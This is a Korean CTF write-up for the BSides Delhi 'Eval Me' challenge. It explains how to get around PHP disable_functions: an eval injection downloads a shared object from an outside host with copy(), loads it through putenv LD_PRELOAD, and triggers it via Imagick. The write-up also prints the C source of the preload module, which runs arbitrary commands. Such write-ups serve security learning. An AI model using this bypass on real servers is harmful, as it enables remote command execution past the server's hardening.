writeup

BSides Delhi CTF – Eval Me

<?php

$entropy= md5("SpyD3r" . $_SERVER["REMOTE_ADDR"] . "isBack");
$SANDBOX = getcwd() . "/xxx/" . $entropy;
mkdir($SANDBOX);
chdir($SANDBOX);
echo $entropy . "<br>";
eval($_GET['input']);

highlight_file(__FILE__);

?>

LD_PRELOAD + Imagick ffmpeg 을 통한 disable_functions bypass 문제입니다.
자유롭게 PHP 코드 실행이 가능한 상태입니다.

# open_basedir
/var/www/html:/tmp

# disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,stream_socket_sendto,stream_socket_client,pcntl_async_signals,error_log,system,exec,shell_exec,popen,proc_open,passthru,link,symlink,syslog,imap_open,ld,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen

대부분 필수 함수들이 필터링 되어 있지만
putenv 사용이 가능하므로 LD_PRELOAD 에 모듈 탑재가 가능하고
copy 함수를 사용해 컴파일된 모듈 파일을 복사할 수 있습니다.

chdir('/tmp');
touch('1.mpeg');
copy('http://osix.kr/posix.so','/tmp/posix.so');
putenv('CMD=./../../../../readFlag > /tmp/output');
putenv('LD_PRELOAD=/tmp/posix.so');
new Imagick('/tmp/1.mpeg');

위 코드를 통해 서버로 모듈을 업로드 하고 명령을 실행할 수 있습니다.

var_dump(join('', file('/tmp/output')));

file 함수를 사용해 결과를 확인할 수 있었습니다.

#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    const char* cmdline = getenv("CMD");
    unsetenv("LD_PRELOAD");
    system(cmdline);
}

익스플로잇에 사용한 모듈의 소스코드는 다음과 같습니다.

Leave a Reply

Your email address will not be published. Required fields are marked *